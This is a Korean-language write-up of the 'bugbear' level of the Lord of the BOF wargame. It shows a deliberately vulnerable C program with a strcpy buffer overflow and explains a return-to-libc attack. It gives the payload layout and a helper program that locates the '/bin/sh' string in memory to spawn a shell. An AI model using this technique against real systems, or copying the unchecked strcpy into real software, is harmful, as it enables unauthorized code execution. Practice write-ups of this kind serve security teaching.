/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
[그림 1-1] 조건 중 2번째 조건이 != -> == 으로 바뀌었다. 즉, return 되는 주소가 스택에 있으면 안된다는 뜻이다.
맨 위 주석에서도 알 수 있드시 드디어 RTL 이 나온다.
RTL 기법도 기존의 BOF와 같이 buffer를 넘치게 padding을 진행하여 EIP를 조작한다. 하지만 EIP를 stack 영역의 주소가 아닌, library의 영역으로 조작하는 것이다.
우리가 쉘을 실행하는 가장 기본적인 명령어는 system(/bin/bash) 이다.
library에 system 함수가 있고, "/bin/bash"를 buffer or 환경 변수에 저장한 뒤 system 함수의 파라미터로 넘겨주면, 쉘이 실행될 것이다.
하지만, system 함수 내부에 execve 함수가 있고, execve 내부에 "/bin/sh" 문자열이 존재한다.
우리는 system 함수 내부의 "/bin/sh"를 이용한다.
공유라이브러리의 system 함수의 주소는 gdb를 통해서 알 수 있다.
payload 작성 법은 프로토스타 - stack5(RTL) 읽고오자!
바로 풀어보자!
payload = "A"*44 + system 함수 주소 + "BBBB" + "/bin/sh" 주소
system 함수 주소 찾고
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[]){
long shell;
shell = 0x40058ae0; // system 함수 주소
while(memcmp((void*)shell,("/bin/sh"),8))shell++;
printf("%p\n",shell);
}
위 코드를 이용해 /bin/sh 주소를 찾아보자
완성된 payload를 exploit 해보자!
성공!
무난한 RTL 공격이였다.